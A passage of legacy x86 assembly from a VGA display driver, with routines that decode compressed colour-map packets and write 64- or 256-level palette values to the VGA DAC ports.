dec cl ; (note: MUST dec cl, not ecx!)
jnz short #loop ; go do next color (wastes 8+ cycles)
jmp short #packetloop
#done:
pop edi
pop esi
pop ebx
ret
pj_vdrv_uncc256 endp
;*****************************************************************************
; void pj_vdrv_uncc64(Raster *r, void *ucbuf);
;
; Notes under pj_vdrv_set_colors apply to this routine.
; This is an exact clone of uncc256, except the 256-to-64-level shift
; instructions were replaced with NOPs.
;*****************************************************************************
align 4
pj_vdrv_uncc64 proc near
#raster equ [esp+4]
#ucbuf equ [esp+8]
mov edx,#ucbuf
push ebx
push esi
push edi
mov esi,edx
movzx ebx,word ptr [esi]
add esi,2
xor edi,edi
xor ecx,ecx
#packetloop:
dec ebx
js short #done
mov cl,[esi] ; get skip count
add edi,ecx ; add to color index
mov cl,[esi+1] ; get change count
add esi,2 ; incr input pointer
mov eax,edi ; load color register index
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
inc edi ; increment index
lodsb ; load red
nop ; color is already 64-level
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
nop ; color is already 64-level
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
nop ; color is already 64-level
out dx,al ; store blue
dec cl ; (note: MUST dec cl, not ecx!)
jnz short #loop ; go do next color (wastes 8+ cycles)
jmp short #packetloop
#done:
pop edi
pop esi
pop ebx
ret
pj_vdrv_uncc64 endp
;*****************************************************************************
; void pj_vdrv_8bit_set_colors(Raster *r, int start, int count, UBYTE *color_table)
;
; Set colors routine for cards with 8-bit DACs.
;*****************************************************************************
align 4
pj_vdrv_8bit_set_colors proc near
#raster equ [esp+4]
#start equ [esp+08]
#count equ [esp+12]
#ptable equ [esp+16]
mov eax,#start ; starting color #
mov ecx,#count ; number of colors
mov edx,#ptable ; pallette address
push esi
mov esi,edx
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
lodsb ; load red
nop ;
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
nop ;
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
nop ;
out dx,al ; store blue
dec ecx ; count the color as done
jnz short #loop ; go do next color (wastes 8+ cycles)
pop esi
ret
pj_vdrv_8bit_set_colors endp
;*****************************************************************************
; void pj_vdrv_8bit_uncc256(Raster *r, void *ucbuf);
;
;*****************************************************************************
align 4
pj_vdrv_8bit_uncc256 proc near
#raster equ [esp+4]
#ucbuf equ [esp+8]
mov edx,#ucbuf
push ebx
push esi
push edi
mov esi,edx
movzx ebx,word ptr [esi]
add esi,2
xor edi,edi
xor ecx,ecx
#packetloop:
dec ebx
js short #done
mov cl,[esi] ; get skip count
add edi,ecx ; add to color index
mov cl,[esi+1] ; get change count
add esi,2 ; incr input pointer
mov eax,edi ; load color register index
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
inc edi ; increment index
lodsb ; load red
nop ;
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
nop ;
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
nop ;
out dx,al ; store blue
dec cl ; (note: MUST dec cl, not ecx!)
jnz short #loop ; go do next color (wastes 8+ cycles)
jmp short #packetloop
#done:
pop edi
pop esi
pop ebx
ret
pj_vdrv_8bit_uncc256 endp
;*****************************************************************************
; void pj_vdrv_8bit_uncc64(Raster *r, void *ucbuf);
;*****************************************************************************
align 4
pj_vdrv_8bit_uncc64 proc near
#raster equ [esp+4]
#ucbuf equ [esp+8]
mov edx,#ucbuf
push ebx
push esi
push edi
mov esi,edx
movzx ebx,word ptr [esi]
add esi,2
xor edi,edi
xor ecx,ecx
#packetloop:
dec ebx
js short #done
mov cl,[esi] ; get skip count
add edi,ecx ; add to color index
mov cl,[esi+1] ; get change count
add esi,2 ; incr input pointer
mov eax,edi ; load color register index
mov edx,3c8h ; address vga color palette control port
out dx,al ; select starting color register
inc edx ; address vga color palette data port
nop
#loop:
inc edi ; increment index
lodsb ; load red
shl al,2 ; make 64-level color into 256-level
out dx,al ; store red
nop ; waste 3 cycles
lodsb ; load green
shl al,2 ; make 64-level color into 256-level
out dx,al ; store green
nop ; waste 3 cycles
lodsb ; load blue
shl al,2 ; make 64-level color into 256-level
out dx,al ; store blue
dec cl ; (note: MUST dec cl, not ecx!)
jnz short #loop ; go do next color (wastes 8+ cycles)
jmp short #packetloop
#done:
pop edi
pop esi
pop ebx
ret
pj_vdrv_8bit_uncc64 endp
_TEXT ends
end
| 32.420741 | 84 | 0.599159 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.